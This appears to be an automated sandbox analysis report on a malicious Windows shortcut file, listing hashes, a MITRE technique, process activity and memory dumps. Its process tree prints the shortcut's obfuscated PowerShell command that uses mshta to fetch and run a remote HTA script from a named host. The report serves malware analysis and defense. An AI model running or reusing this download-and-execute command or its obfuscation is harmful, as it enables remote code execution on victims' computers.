af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41

Analysis

max time kernel
120s
max time network
124s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
11/01/2024, 07:37

Target

a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk
Size

1KB
MD5

a49746922bdba7a0885c55944ab705a5
SHA1

6ec7db6e71ebfb091b7266b8ce2012ef3d2d714f
SHA256

af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41
SHA512

e17311145ca62f49e0ac1ecc34810a65f1b91cc57c45fe0d2f72494e8106ede54d258a2fd8c16f771eada18574854da8654b533dca7818183f154739849ecbf7

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3052	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3052	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 3052	1704	cmd.exe	29
PID 1704 wrote to memory of 3052	1704	cmd.exe	29
PID 1704 wrote to memory of 3052	1704	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\a49746922bdba7a0885c55944ab705a5+af2d07066d8f7f3e364d7d832f143ee9d0c9c7a9e91842df2a67c034137bde41.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'http://24help.ooguy.com/1/1.hta'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3052

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

memory/3052-38-0x000000001B1F0000-0x000000001B4D2000-memory.dmp

Filesize
2.9MB

Download
memory/3052-39-0x0000000002620000-0x0000000002628000-memory.dmp

Filesize
32KB

Download
memory/3052-40-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-43-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/3052-44-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/3052-42-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download
memory/3052-41-0x0000000002990000-0x0000000002A10000-memory.dmp

Filesize
512KB

Download
memory/3052-45-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

Filesize
9.6MB

Download